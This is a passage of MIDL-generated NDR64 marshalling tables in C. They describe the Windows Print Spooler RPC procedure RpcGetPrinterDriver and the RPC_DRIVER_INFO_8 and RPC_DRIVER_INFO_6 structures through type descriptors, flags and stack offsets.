(NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag406\n};\n\nstatic const __midl_frag302_t __midl_frag302 =\n{ \n/* RpcGetPrinterDriver */\n    { \n    /* RpcGetPrinterDriver */      /* procedure RpcGetPrinterDriver */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag644,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1087,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag653,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag406,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag406,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag406,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag284_t __midl_frag284 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag277\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag281\n    }\n};\n\nstatic const __midl_frag282_t __midl_frag282 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 196 /* 0xc4 */\n    }\n};\n\nstatic const __midl_frag281_t __midl_frag281 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag282\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag278_t __midl_frag278 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 168 /* 0xa8 */\n    }\n};\n\nstatic const __midl_frag277_t __midl_frag277 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag278\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */\n    }\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag269\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag265_t __midl_frag265 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag266\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag1042\n    }\n};\n\nstatic const __midl_frag256_t __midl_frag256 =\n{ \n/* RPC_DRIVER_INFO_8 */\n    { \n    /* RPC_DRIVER_INFO_8 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_8 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 224 /* 0xe0 */,\n        0,\n        0,\n        &__midl_frag284,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag255_t __midl_frag255 =\n{ \n/* *RPC_DRIVER_INFO_8 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag256\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag265\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag268\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag235_t __midl_frag235 =\n{ \n/* RPC_DRIVER_INFO_6 */\n    { \n    /* RPC_DRIVER_INFO_6 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_6 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 152 /* 0x98 */,\n        0,\n        0,\n        &__midl_frag254,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 